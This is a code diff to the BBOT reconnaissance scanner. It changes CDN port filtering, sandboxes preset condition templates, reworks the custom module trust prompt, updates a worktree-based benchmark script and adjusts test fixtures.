+ and event.port not in self.scan.cdn_allowed_ports + and not self.scan.cdn_tags.isdisjoint(event.tags) + and not any( + "seed" in p.tags and p.host == event.host and p.port == event.port + for p in event.get_parents(include_self=True) + ) + ): + return False, f"port {event.port} is not allowed on CDN/WAF hosts (cdn_port_filter)" + # mark omitted event types # we could do this all in the output module's filter_event(), but we mark it here permanently so the events' .get_parent() can factor in the omission, and skip over omitted parents omitted_event_type = event.type in self.scan.omitted_event_types diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index b5a242e6bb..15a2c72839 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -177,8 +177,10 @@ def preset_from_args(self): args_preset.core.merge_custom({"modules": {"stdout": {"event_types": self.parsed.event_types}}}) if self.parsed.no_color: os.environ["NO_COLOR"] = "1" + if self.parsed.allow_cdn_ports: + args_preset.core.merge_custom({"cdn_port_filter": {"enabled": False}}) if self.parsed.exclude_cdn: - args_preset.explicit_scan_modules.add("portfilter") + log.warning("--exclude-cdn is deprecated and does nothing; CDN/WAF ports are now filtered by default") # dependencies deps_config = args_preset.core.custom_config.get("deps", {}) @@ -207,6 +209,9 @@ def preset_from_args(self): if self.parsed.no_proxy: args_preset.core.merge_custom({"web": {"http_proxy_exclude": self.parsed.no_proxy}}) + if self.parsed.custom_nameservers: + args_preset.core.merge_custom({"dns": {"nameservers": self.parsed.custom_nameservers}}) + if self.parsed.custom_headers: args_preset.core.merge_custom({"web": {"http_headers": self.parsed.custom_headers}}) @@ -335,7 +340,12 @@ def create_parser(self, *args, **kwargs): action="store_true", help="Run scan even in the case of condition violations or failed module setups", ) - scan.add_argument("-y", "--yes", action="store_true", help="Skip scan confirmation prompt") + scan.add_argument( + "-y", + "--yes", + action="store_true", + help="Skip confirmation prompts (including trusting custom module folders)", + ) scan.add_argument( "--fast-mode", action="store_true", @@ -390,11 +400,12 @@ def create_parser(self, *args, **kwargs): output.add_argument("--no-color", action="store_true", help="Disable colored terminal output") output.add_argument("--event-types", nargs="+", default=[], help="Choose which event types to display") output.add_argument( - "--exclude-cdn", - "-ec", + "--allow-cdn-ports", action="store_true", - help="Filter out unwanted open ports on CDNs/WAFs (80,443 only)", + help="Don't filter out open ports on CDNs/WAFs (by default only 80,443 are kept)", ) + # deprecated: CDN/WAF port filtering is now the default + output.add_argument("--exclude-cdn", "-ec", action="store_true", help=argparse.SUPPRESS) deps = p.add_argument_group( title="Module dependencies", description="Control how modules install their dependencies" @@ -429,6 +440,13 @@ def create_parser(self, *args, **kwargs): help="Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8)", metavar="HOST", ) + misc.add_argument( + "--custom-nameservers", + nargs="+", + default=[], + help="Use these nameservers instead of the system ones (e.g. 1.1.1.1 8.8.8.8:53)", + metavar="NAMESERVER", + ) misc.add_argument( "-H", "--custom-headers", @@ -452,9 +470,6 @@ def create_parser(self, *args, **kwargs): return p def sanitize_args(self): - # silent implies -y - if self.parsed.silent: - self.parsed.yes = True # chain_lists allows either comma-separated or space-separated lists self.parsed.modules = chain_lists(self.parsed.modules) self.parsed.exclude_modules = chain_lists(self.parsed.exclude_modules) diff --git a/bbot/scanner/preset/conditions.py b/bbot/scanner/preset/conditions.py index 261a5c76ee..c289dd0f71 100644 --- a/bbot/scanner/preset/conditions.py +++ b/bbot/scanner/preset/conditions.py @@ -1,4 +1,6 @@ +import copy import logging +from contextlib import suppress from bbot.errors import * @@ -11,11 +13,43 @@ class ConditionEvaluator: def __init__(self, preset): self.preset = preset + def _snapshot(self): + # conditions see a read-only, deep-copied data snapshot of the preset, never the live object: + # a template resolves preset. via item access, so reads keep working, but there are no + # methods or nested live objects (core, module_loader, scan) to call. + preset = self.preset + config = copy.deepcopy(preset.config) + snapshot = { + "config": config, + "modules": sorted(preset.modules), + "scan_modules": list(preset.scan_modules), + "output_modules": list(preset.output_modules), + "internal_modules": list(preset.internal_modules), + "exclude_modules": sorted(preset.exclude_modules), + "flags": sorted(preset.flags), + "require_flags": sorted(preset.require_flags), + "exclude_flags": sorted(preset.exclude_flags), + "module_dirs": sorted(str(d) for d in preset.module_dirs), + "scan_name": preset.scan_name, + "name": preset.name, + "description": preset.description, + "verbose": preset.verbose, + "debug": preset.debug, + "silent": preset.silent, + "force_start": preset.force_start, + } + # available only once the preset is baked (which it is when conditions run); stringify to data + for attr in ("target", "whitelist", "blacklist", "seeds"): + with suppress(Exception): + snapshot[attr] = str(getattr(preset, attr)) + return snapshot + @property def context(self): + snapshot = self._snapshot() return { - "preset": self.preset, - "config": self.preset.config, + "preset": snapshot, + "config": snapshot["config"], "abort": self.abort, "warn": self.warn, } @@ -41,11 +75,11 @@ def evaluate(self): @property def jinja_env(self): - from jinja2.sandbox import SandboxedEnvironment + from jinja2.sandbox import ImmutableSandboxedEnvironment global JINJA_ENV if JINJA_ENV is None: - JINJA_ENV = SandboxedEnvironment() + JINJA_ENV = ImmutableSandboxedEnvironment() return JINJA_ENV def check_condition(self, condition_str, context): diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index ed9e502c6f..cf6c93e69f 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -23,7 +23,17 @@ class BasePreset(type): - def __call__(cls, *args, include=None, presets=None, name=None, description=None, _exclude=None, **kwargs): + def __call__( + cls, + *args, + include=None, + presets=None, + name=None, + description=None, + _exclude=None, + _skip_module_dirs=False, + **kwargs, + ): """ Handles loading of "included" presets, while preserving the proper load order @@ -42,12 +52,20 @@ def __call__(cls, *args, include=None, presets=None, name=None, description=None if include and not isinstance(include, (list, tuple, set)): include = [include] - main_preset = type.__call__(cls, *args, name=name, description=description, _exclude=_exclude, **kwargs) + main_preset = type.__call__( + cls, + *args, + name=name, + description=description, + _exclude=_exclude, + _skip_module_dirs=_skip_module_dirs, + **kwargs, + ) if include: include_preset = type.__call__(cls, name=name, description=description, _exclude=_exclude) for included_preset in include: - include_preset.include_preset(included_preset) + include_preset.include_preset(included_preset, _skip_module_dirs=_skip_module_dirs) include_preset.merge(main_preset) return include_preset @@ -136,6 +154,7 @@ def __init__( silent=False, _exclude=None, _log=True, + _skip_module_dirs=False, ): """ Initializes the Preset class. @@ -266,9 +285,10 @@ def __init__( self.debug = debug self.silent = silent - # custom module directories + # custom module directories. when only listing presets (e.g. bbot -lp), skip them: loading a + # folder's modules would run the trust prompt (or error without a tty) for a read-only command. self._module_dirs = set() - self.module_dirs = module_dirs + self.module_dirs = None if _skip_module_dirs else module_dirs # target / seeds / blacklist # these are temporary receptacles until they all get .baked() together @@ -296,6 +316,10 @@ def __init__( def bbot_home(self): return Path(self.config.get("home", "~/.bbot")).expanduser().resolve() + @property + def deps_home(self): + return self.core.deps_home + @property def target(self): if self._target is None: @@ -686,7 +710,7 @@ def _resolve_file_entries(entries): return resolved @classmethod - def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): + def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False, _skip_module_dirs=False): """ Create a preset from a Python dictionary object. @@ -762,10 +786,11 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): conditions=preset_dict.get("conditions", []), _exclude=_exclude, _log=_log, + _skip_module_dirs=_skip_module_dirs, ) return new_preset - def include_preset(self, filename): + def include_preset(self, filename, _skip_module_dirs=False): """ Load a preset from a yaml file and merge it into this one. @@ -780,13 +805,15 @@ def include_preset(self, filename): >>> preset.include_preset("/home/user/my_preset.yml") """ self.log_debug(f'Including preset "{filename}"') - preset_from_yaml = self.from_yaml_file(filename, _exclude=self._preset_files_loaded) + preset_from_yaml = self.from_yaml_file( + filename, _exclude=self._preset_files_loaded, _skip_module_dirs=_skip_module_dirs + ) if preset_from_yaml is not False: self.merge(preset_from_yaml) self._preset_files_loaded.add(preset_from_yaml.filename) @classmethod - def from_yaml_file(cls, filename, _exclude=None, _log=False): + def from_yaml_file(cls, filename, _exclude=None, _log=False, _skip_module_dirs=False): """ Create a preset from a YAML file. If the full path is not specified, BBOT will look in all the usual places for it. @@ -796,37 +823,40 @@ def from_yaml_file(cls, filename, _exclude=None, _log=False): >>> preset = Preset.from_yaml_file("/home/user/my_preset.yml") """ filename = PRESET_PATH.find(filename) - try: + # a module-dir-skipping load (preset listing) must not read or write the shared cache, + # or a later real load would reuse a preset whose custom modules were never loaded + if not _skip_module_dirs and filename in _preset_cache: return _preset_cache[filename] - except KeyError: - if _exclude is None: - _exclude = set() - if _exclude is not None and filename in _exclude: - log.debug(f"Not loading {filename} because it was already loaded {_exclude}") - return False - log.debug(f"Loading {filename} because it's not in excluded list ({_exclude})") - _exclude = set(_exclude) - _exclude.add(filename) - try: - yaml_str = open(filename).read() - except FileNotFoundError: - raise PresetNotFoundError(f'Could not find preset at "{filename}" - file does not exist') - try: - yaml_dict = yaml.safe_load(yaml_str) or {} - except yaml.YAMLError as e: - raise ValidationError( - f"YAML syntax error in {filename}:\n\n{e}\n\nPlease check the file for indentation or formatting errors." - ) - preset = cls.from_dict( - yaml_dict, - name=filename.stem, - _exclude=_exclude, - _log=_log, + if _exclude is None: + _exclude = set() + if _exclude is not None and filename in _exclude: + log.debug(f"Not loading {filename} because it was already loaded {_exclude}") + return False + log.debug(f"Loading {filename} because it's not in excluded list ({_exclude})") + _exclude = set(_exclude) + _exclude.add(filename) + try: + yaml_str = open(filename).read() + except FileNotFoundError: + raise PresetNotFoundError(f'Could not find preset at "{filename}" - file does not exist') + try: + yaml_dict = yaml.safe_load(yaml_str) or {} + except yaml.YAMLError as e: + raise ValidationError( + f"YAML syntax error in {filename}:\n\n{e}\n\nPlease check the file for indentation or formatting errors." ) - preset._yaml_str = yaml_str - preset.filename = filename + preset = cls.from_dict( + yaml_dict, + name=filename.stem, + _exclude=_exclude, + _log=_log, + _skip_module_dirs=_skip_module_dirs, + ) + preset._yaml_str = yaml_str + preset.filename = filename + if not _skip_module_dirs: _preset_cache[filename] = preset - return preset + return preset @classmethod def from_yaml_string(cls, yaml_preset): @@ -1084,9 +1114,10 @@ def all_presets(self): if original_filename.is_symlink(): continue - # try to load it as a preset + # try to load it as a preset. skip its module_dirs: listing is read-only and + # must not run the trust prompt (or error without a tty) for custom folders try: - loaded_preset = self.from_yaml_file(original_filename, _log=True) + loaded_preset = self.from_yaml_file(original_filename, _log=True, _skip_module_dirs=True) if loaded_preset is False: continue except Exception as e: diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index 81d8e86fc3..4f0a388dad 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -110,6 +110,9 @@ def _format_msg(err: dict, known_modules: set | None = None, known_paths: set | # get useful hints like "Did you mean 'modules'?". if len(loc) == 1: return get_closest_match(field, _PRESET_KEYS, msg="preset option") + # A top-level preset key nested under `config:` by mistake (e.g. `config.include`) + if len(loc) == 2 and loc[0] == "config" and field in _PRESET_KEYS: + return f'"{field}" is a top-level preset option, not a config option. Move it out of the "config" section.' # For everything else, suggest from the known dotted-path universe # (`web.spier_distance` → `web.spider_distance`). if known_paths: @@ -200,11 +203,14 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati the preset is valid. Errors from all layers are aggregated, so a user with multiple typos sees them all at once. - **Side effect**: any custom `module_dirs` declared in the preset (either - at top level or inside `config`) are registered with `module_loader` so - their modules become known. Without this, modules from a custom dir - would be falsely reported as unknown. Idempotent — `add_module_dir` - short-circuits on already-loaded directories. + **Side effect**: any custom `module_dirs` declared in the preset are + registered with `module_loader` so their modules become known. Without + this, modules from a custom dir would be falsely reported as unknown. + Idempotent — `add_module_dir` short-circuits on already-loaded directories. + + Validating a custom module executes its `Config` class, so only validate + presets whose module dirs you trust. `add_module_dir` warns (or asks the + loader's `confirm_module_dir` hook) before loading each one. Args: preset_dict: Preset as a plain dict (e.g. from `yaml.safe_load`). @@ -227,31 +233,21 @@ def validate_preset(preset_dict: Any, module_loader=None) -> list[PresetValidati errors: list[PresetValidationError] = [] # Pre-load any custom module_dirs the preset declares so the composite - # schema includes their modules. Defensive iteration — bad shape gets - # surfaced by the schema pass below. - config_dict = preset_dict.get("config") - for source in ( - preset_dict.get("module_dirs"), - config_dict.get("module_dirs") if isinstance(config_dict, dict) else None, - ): - # Skip non-list shapes (e.g. a string) so we don't iterate characters - # and trigger filesystem calls. The schema pass below reports the - # actual type error. - if not isinstance(source, list): + # schema includes their modules. Skip non-list shapes (e.g. a string) so we + # don't iterate characters and trigger filesystem calls. The schema pass + # below reports the actual type error. + module_dirs = preset_dict.get("module_dirs") + for d in module_dirs if isinstance(module_dirs, list) else []: + if not isinstance(d, str): continue - for d in source: - if not isinstance(d, str): - continue - # A bad custom module (e.g. a legacy options dict, which preload rejects - # via sys.exit) must not kill a caller that just wants a list of errors. - try: - module_loader.add_module_dir(d) - except (SystemExit, Exception) as e: - detail = str(e).strip() - suffix = f": {detail}" if detail and detail != "1" else "" - errors.append( - PresetValidationError("preset", "module_dirs", f"Failed to load module dir {d!r}{suffix}") - ) + # A bad custom module (e.g. a legacy options dict, which preload rejects + # via sys.exit) must not kill a caller that just wants a list of errors. + try: + module_loader.add_module_dir(d) + except (SystemExit, Exception) as e: + detail = str(e).strip() + suffix = f": {detail}" if detail and detail != "1" else "" + errors.append(PresetValidationError("preset", "module_dirs", f"Failed to load module dir {d!r}{suffix}")) known_modules = set(module_loader.all_module_choices) # The type index is the single source of truth for known dotted config diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 2379dcd940..701220baf7 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -11,12 +11,13 @@ from zoneinfo import ZoneInfo from collections import OrderedDict -from bbot import __version__ +from bbot import __full_version__ from bbot.core.event import make_event, update_event from .manager import ScanIngress, ScanEgress from bbot.core.helpers.misc import sha1, rand_string from bbot.core.helpers.names_generator import random_name from bbot.core.config.logger import GzipRotatingFileHandler +from bbot.core.config.models import find_deprecated_config from bbot.core.multiprocess import SHARED_INTERPRETER_STATE from bbot.core.helpers.async_helpers import async_to_sync_gen from bbot.logger import log_to_stderr @@ -238,6 +239,10 @@ def __init__( self.dispatcher = dispatcher self.dispatcher.set_scan(self) + # main loop polls fast when events are flowing, backs off when idle + self._main_loop_poll_min = 0.002 + self._main_loop_poll_max = 0.1 + # scope distance self.scope_config = self.config.get("scope", {}) self.scope_search_distance = max(0, int(self.scope_config.get("search_distance", 0))) @@ -282,9 +287,18 @@ def __init__( self.url_extension_special = {e.lower() for e in self.config.get("url_extension_special", [])} self.url_extension_blacklist = {e.lower() for e in self.config.get("url_extension_blacklist", [])} + # open ports / URLs on CDN/WAF hosts + cdn_port_filter_config = self.config.get("cdn_port_filter", {}) + self.cdn_port_filter = bool(cdn_port_filter_config.get("enabled", True)) + self.cdn_tags = set(cdn_port_filter_config.get("tags", [])) + self.cdn_allowed_ports = set(cdn_port_filter_config.get("allowed_ports", [])) + # url querystring behavior self.url_querystring_remove = self.config.get("url_querystring_remove", True) + # reject URLs whose path repeats the same path parameter this many times + self.url_max_path_param_repeats = self.config.get("url_max_path_param_repeats", 10) + # blob inclusion self._file_blobs = self.config.get("file_blobs", False) self._folder_blobs = self.config.get("folder_blobs", False) @@ -326,6 +340,12 @@ async def _prep(self): Expands async seed types (e.g. ASN → IP ranges), evaluates preset conditions, creates the scan's output folder, loads its modules, and calls their .setup() methods. """ + # build the DNS helper up front: blastdns validates dns.nameservers when the + # client is constructed, and a bad value should abort the scan here rather than + # surface later as a per-event error inside dnsresolve + if not self.config.get("dns", {}).get("disable", False): + self.helpers.dns + # expand async seed types (e.g. ASN -> IP ranges) try: await self.preset.target.generate_children(helpers=self.helpers) @@ -372,6 +392,14 @@ async def _prep(self): f.write('# To include secrets, set "redact_secrets: false" in your preset or BBOT config.\n\n') f.write(self.preset.to_yaml(redact_secrets=redact_secrets)) + # deprecated options are accepted but ignored, so make sure the user knows + for path, message in find_deprecated_config( + self.preset.core.custom_config, self.preset.module_loader.config_schema + ).items(): + self.hugewarning( + f'Config option "{path}" is deprecated and will be ignored. {message}'.strip(), trace=False + ) + # log scan overview start_msg = f"Scan seeded with {len(self.seeds.event_seeds):,} seed(s)" details = [] @@ -398,7 +426,7 @@ async def _prep(self): self.debug( f"Setting intercept module {intercept_module.name}._incoming_event_queue to previous intercept module {prev_intercept_module.name}.outgoing_event_queue" ) - interqueue = asyncio.Queue() + interqueue = intercept_module.make_intercept_queue() intercept_module._incoming_event_queue = interqueue prev_intercept_module._outgoing_event_queue = interqueue @@ -440,7 +468,8 @@ async def async_start(self): self.root_event.data["started_at"] = self.start_time.timestamp() self._start_log_handlers() - self.trace(f"Ran BBOT {__version__} at {self.start_time}, command: {' '.join(sys.argv)}") + self.info(f"BBOT version: {__full_version__}") + self.trace(f"Ran BBOT {__full_version__} at {self.start_time}, command: {' '.join(sys.argv)}") self.trace(f"Target: {self.preset.target.json}") self.trace(f"Preset: {self.preset.to_dict(redact_secrets=True)}") @@ -472,6 +501,7 @@ async def async_start(self): ) # main scan loop + poll_interval = self._main_loop_poll_min while 1: # abort if we're aborting if self.aborting: @@ -484,6 +514,7 @@ async def async_start(self): for e in events: yield e if events: + poll_interval = self._main_loop_poll_min continue # break if initialization finished and the scan is no longer active @@ -492,8 +523,10 @@ async def async_start(self): if not new_activity: self._success = True break + poll_interval = self._main_loop_poll_min - await asyncio.sleep(0.1) + await asyncio.sleep(poll_interval) + poll_interval = min(poll_interval * 2, self._main_loop_poll_max) self._success = True @@ -1208,6 +1241,18 @@ def dns_strings(self): self._dns_strings = dns_strings return self._dns_strings + def _generate_dns_regex_patterns(self, pattern): + """ + Generates a list of DNS hostname regex source strings based on the provided pattern. + + Args: + pattern (str): + Returns: + list[str]: A list of regex source strings. + """ + + return [f"{pattern}{re.escape(t)})" for t in self.dns_strings] + def _generate_dns_regexes(self, pattern): """ Generates a list of compiled DNS hostname regexes based on the provided pattern. @@ -1220,10 +1265,9 @@ def _generate_dns_regexes(self, pattern): """ dns_regexes = [] - for t in self.dns_strings: - regex_pattern = re.compile(f"{pattern}{re.escape(t)})", re.I) - log.debug(f"Generated Regex [{regex_pattern.pattern}] for domain {t}") - dns_regexes.append(regex_pattern) + for regex_pattern in self._generate_dns_regex_patterns(pattern): + log.debug(f"Generated Regex [{regex_pattern}]") + dns_regexes.append(re.compile(regex_pattern, re.I)) return dns_regexes @property @@ -1245,10 +1289,10 @@ def dns_regexes(self): @property def dns_regexes_yara(self): """ - Returns a list of DNS hostname regexes formatted specifically for compatibility with YARA rules. + Returns a list of DNS hostname regex source strings formatted specifically for compatibility with YARA rules. """ if self._dns_regexes_yara is None: - self._dns_regexes_yara = self._generate_dns_regexes(r"(([a-z0-9-]+\.)*") + self._dns_regexes_yara = self._generate_dns_regex_patterns(r"(([a-z0-9-]+\.)*") return self._dns_regexes_yara @property @@ -1256,7 +1300,7 @@ def dns_yara_rules_uncompiled(self): if self._dns_yara_rules_uncompiled is None: regexes_component_list = [] for i, r in enumerate(self.dns_regexes_yara): - regexes_component_list.append(rf"$dns_name_{i} = /\b{r.pattern}/ nocase") + regexes_component_list.append(rf"$dns_name_{i} = /\b{r}/ nocase") # Chunk the regexes into groups of 10,000 chunk_size = 10000 @@ -1295,10 +1339,25 @@ async def extract_in_scope_hostnames(self, s): if dns_yara_rules is not None: for match in await self.helpers.run_in_executor_cpu(dns_yara_rules.match, data=s): for string in match.strings: - for instance in string.instances: - matches.add(str(instance)) + matches.update(self.yara_hostnames(string.instances)) return matches + @staticmethod + def yara_hostnames(instances): + """ + Hostnames from one string of the DNS yara rules, without the fragments that start partway through a label. + + Yara reports a match at every offset the pattern can start from, and a word boundary sits on both sides of a hyphen, + so "dv-api.evilcorp.com" also yields "-api.evilcorp.com" and "api.evilcorp.com". A match whose first + character continues a label of a longer match is one of those. + """ + instances = [(i.offset, i.matched_data.decode("utf-8", errors="ignore")) for i in instances] + # every offset that continues a label of some match, collected in one pass so this stays linear + mid_label = set() + for offset, hostname in instances: + mid_label.update(offset + j for j in range(1, len(hostname)) if hostname[j - 1] != ".") + return {hostname for offset, hostname in instances if offset not in mid_label} + @property def json(self): """ diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 78fcb144f4..b9f6748620 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -114,7 +114,7 @@ def add(self, targets, data=None): event_seeds.add(event_seed) # sort by host size to ensure consistency - event_seeds = sorted(event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(str(e.host))) + event_seeds = sorted(event_seeds, key=lambda e: (0, "") if not e.host else host_size_key(str(e.host))) for event_seed in event_seeds: self.event_seeds.add(event_seed) # Some event seeds (e.g. ORG_STUB, USERNAME, BLACKLIST_REGEX) are not host-based and have diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index a5b06aec92..d2fd0b20e9 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -1,15 +1,18 @@ #!/usr/bin/env python3 """ -Branch-based benchmark comparison tool for BBOT performance tests. +Benchmark comparison tool for BBOT performance tests. -This script takes two git branches, runs benchmarks on each, and generates -a comparison report showing performance differences between them. +This script takes two git revisions, runs benchmarks on each in its own +temporary worktree, and generates a comparison report showing performance +differences between them. The caller's checkout is never modified. """ +import sys import json import argparse import subprocess import tempfile +from contextlib import contextmanager from pathlib import Path from typing import Dict, List, Any, Tuple @@ -26,31 +29,25 @@ def run_command(cmd: List[str], cwd: Path = None, capture_output: bool = True) - raise -def get_current_branch() -> str: - """Get the current git branch name.""" - result = run_command(["git", "branch", "--show-current"]) - return result.stdout.strip() +def resolve_commit(rev: str, repo_path: Path) -> str: + """Resolve a git revision (branch, tag, SHA, HEAD^1, ...) to a full commit SHA.""" + return run_command(["git", "rev-parse", "--verify", f"{rev}^{{commit}}"], cwd=repo_path).stdout.strip() -def checkout_branch(branch: str, repo_path: Path = None): - """Checkout a git branch, cleaning up generated and modified files first.""" - # Reset modified tracked files (e.g. uv.lock changed by `uv sync`) - print("Resetting modified tracked files before checkout") - run_command(["git", "checkout", "--", "."], cwd=repo_path) - # Remove untracked files before checkout. Without this, files generated - # by one branch's toolchain (e.g. uv.lock from `uv run` on a Poetry - # branch) block checkout to a branch that tracks those same files. - print("Cleaning untracked files before checkout") - run_command(["git", "clean", "-fd"], cwd=repo_path) - print(f"Checking out branch: {branch}") - run_command(["git", "checkout", branch], cwd=repo_path) +@contextmanager +def worktree(commit: str, repo_path: Path, path: Path): + """Check out a commit into a temporary detached worktree, removing it afterwards.""" + run_command(["git", "worktree", "add", "--detach", str(path), commit], cwd=repo_path) + try: + yield path + finally: + run_command(["git", "worktree", "remove", "--force", str(path)], cwd=repo_path) def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool: """Run benchmarks and save results to JSON file. - Returns True if benchmark JSON was written (even if some tests failed), - False only if benchmarks truly didn't produce any data. + Returns True only if pytest passed and wrote benchmark JSON. """ print(f"Running benchmarks, saving to {output_file}") @@ -82,9 +79,8 @@ def run_benchmarks(output_file: Path, repo_path: Path = None) -> bool: if result.returncode != 0: print(f"Pytest exited with code {result.returncode}") + return False - # pytest-benchmark writes JSON regardless of test failures; - # treat the run as successful if the output file has data if output_file.exists() and output_file.stat().st_size > 0: return True @@ -380,7 +376,7 @@ def generate_report(current_data: Dict, base_data: Dict, current_branch: str, ba report = f"""## 🚀 Performance Benchmark Report > ℹ️ **No baseline benchmark data available** -> +> > Showing current results for **{current_branch}** only. """ @@ -416,79 +412,60 @@ def generate_report(current_data: Dict, base_data: Dict, current_branch: str, ba def main(): - parser = argparse.ArgumentParser(description="Compare benchmark performance between git branches") - parser.add_argument("--base", required=True, help="Base branch name (e.g., 'main', 'dev')") - parser.add_argument("--current", required=True, help="Current branch name (e.g., 'feature-branch', 'HEAD')") + parser = argparse.ArgumentParser(description="Compare BBOT benchmark performance between two git revisions") + parser.add_argument("--base", required=True, help="Baseline git revision (branch, tag, SHA, HEAD^1, ...)") + parser.add_argument("--current", required=True, help="Git revision to compare against the baseline") + parser.add_argument("--base-label", help="Name shown for the baseline in the report (default: --base)") + parser.add_argument( + "--current-label", help="Name shown for the current revision in the report (default: --current)" + ) parser.add_argument("--output", type=Path, help="Output markdown file (default: stdout)") parser.add_argument("--keep-results", action="store_true", help="Keep intermediate JSON files") args = parser.parse_args() - # Get current working directory repo_path = Path.cwd() - # Save original branch to restore later - try: - original_branch = get_current_branch() - print(f"Current branch: {original_branch}") - except subprocess.CalledProcessError: - print("Warning: Could not determine current branch") - original_branch = None + # Resolve up front so relative revisions like HEAD^1 refer to the caller's checkout + sides = {} + for side, rev, label in (("base", args.base, args.base_label), ("current", args.current, args.current_label)): + sha = resolve_commit(rev, repo_path) + sides[side] = (sha, f"{label or rev} ({sha[:9]})") - # Create temporary files for benchmark results + results = {} with tempfile.TemporaryDirectory() as temp_dir: temp_path = Path(temp_dir) - base_results_file = temp_path / "base_results.json" - current_results_file = temp_path / "current_results.json" - - base_data = {} - current_data = {} - - try: - # Run benchmarks on base branch - print(f"\n=== Running benchmarks on base branch: {args.base} ===") - checkout_branch(args.base, repo_path) - if run_benchmarks(base_results_file, repo_path): - base_data = load_benchmark_data(base_results_file) - - # Run benchmarks on current branch - print(f"\n=== Running benchmarks on current branch: {args.current} ===") - checkout_branch(args.current, repo_path) - if run_benchmarks(current_results_file, repo_path): - current_data = load_benchmark_data(current_results_file) - - # Generate report - print("\n=== Generating comparison report ===") - report = generate_report(current_data, base_data, args.current, args.base) - - # Output report - if args.output: - with open(args.output, "w") as f: - f.write(report) - print(f"Report written to {args.output}") - else: - print("\n" + "=" * 80) - print(report) - - # Keep results if requested - if args.keep_results: - if base_data: - with open("base_benchmark_results.json", "w") as f: - json.dump(base_data, f, indent=2) - if current_data: - with open("current_benchmark_results.json", "w") as f: - json.dump(current_data, f, indent=2) - print("Benchmark result files saved.") - - finally: - # Restore original branch - if original_branch: - print(f"\nRestoring original branch: {original_branch}") - try: - checkout_branch(original_branch, repo_path) - except subprocess.CalledProcessError: - print(f"Warning: Could not restore original branch {original_branch}") + for side, (sha, name) in sides.items(): + print(f"\n=== Running benchmarks on {side}: {name} ===") + results_file = temp_path / f"{side}_results.json" + with worktree(sha, repo_path, temp_path / side) as path: + ok = run_benchmarks(results_file, path) + results[side] = load_benchmark_data(results_file) if ok else {} + + print("\n=== Generating comparison report ===") + report = generate_report(results["current"], results["base"], sides["current"][1], sides["base"][1]) + + if args.output: + with open(args.output, "w") as f: + f.write(report) + print(f"Report written to {args.output}") + else: + print("\n" + "=" * 80) + print(report) + + if args.keep_results: + for side, data in results.items(): + if data: + with open(f"{side}_benchmark_results.json", "w") as f: + json.dump(data, f, indent=2) + print("Benchmark result files saved.") + + failed = [side for side, data in results.items() if not data] + if failed: + print(f"Benchmarks failed on: {', '.join(failed)}") + return 1 + return 0 if __name__ == "__main__": - main() + sys.exit(main()) diff --git a/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py index 4fea8ec1da..fa289cb87f 100644 --- a/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py +++ b/bbot/test/benchmarks/test_intercept_throughput_benchmarks.py @@ -2,7 +2,7 @@ Intercept-pipeline throughput benchmarks. Measures how fast events flow through BBOT's intercept chain (dnsresolve, -cloudcheck, speculate, portfilter, excavate). Single-threaded modules in +cloudcheck, speculate, excavate). Single-threaded modules in this chain bound overall scan throughput, so changes there are most easily observed here. diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index d7caf4aac5..1ff3e9308d 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -9,18 +9,53 @@ from pathlib import Path from contextlib import suppress from pytest_httpserver import HTTPServer - +from werkzeug.wrappers import Response from bbot.test.worker import ( BBOT_TEST_DIR, + BBOT_TEST_SHARED_DIR, HTTPSERVER_ALLINTERFACES_PORT, HTTPSERVER_PORT, HTTPSERVER_SSL_PORT, + worker_id, ) from bbot.core import CORE from bbot.core.helpers.misc import execute_sync_or_async from bbot.core.helpers.interactsh import server_list as interactsh_servers + +class FastShutdownHTTPServer(HTTPServer): + """socketserver polls every 0.5s for a shutdown request, so every teardown paid + half a second. The poll interval is the only thing standing between us and an + immediate stop, and thread_target is documented as the override point.""" + + SHUTDOWN_POLL_INTERVAL = 0.005 + + def thread_target(self) -> None: + self.server.serve_forever(poll_interval=self.SHUTDOWN_POLL_INTERVAL) + + def respond_nohandler(self, request, extra_message=""): + """Serve an empty miss body instead of the upstream diagnostic dump. + + Upstream builds the body from repr(request) plus a rendering of every + registered matcher, so the miss body is unique per URL and grows with the + handler count. Brute-force modules diff each miss against a baseline miss, + and a body that never repeats defeats that comparison: every response looks + like a difference and gets DeepDiffed in full. The dump was measurement + error, not fidelity. + + The body stays empty rather than carrying placeholder text. Modules dedup + HTTP_RESPONSEs on (host, port, body_sha256) and base.py exempts the + empty-body hash from that check, so an empty miss is the only constant that + does not make every miss URL collide as duplicate content. + + The accumulated assertion is dropped with it. bbot's httpserver fixtures + call clear() before check_assertions(), so no-handler assertions were + discarded unread and never failed a test. + """ + return Response("", self.no_handler_status_code) + + # silence stdout + trace root_logger = logging.getLogger() pytest_debug_file = Path(__file__).parent.parent.parent / "pytest_debug.log" @@ -38,6 +73,10 @@ # and the sessionfinish cleanup below would delete a directory still in use. test_config["home"] = str(BBOT_TEST_DIR) +# Deps install once into a shared dir instead of once per worker. Scan output stays +# per-worker; the deps scratch dir does not, because it is baked into the module hash. +os.environ.setdefault("BBOT_SHARED_DEPS_DIR", str(BBOT_TEST_SHARED_DIR)) + os.environ["BBOT_DEBUG"] = "True" 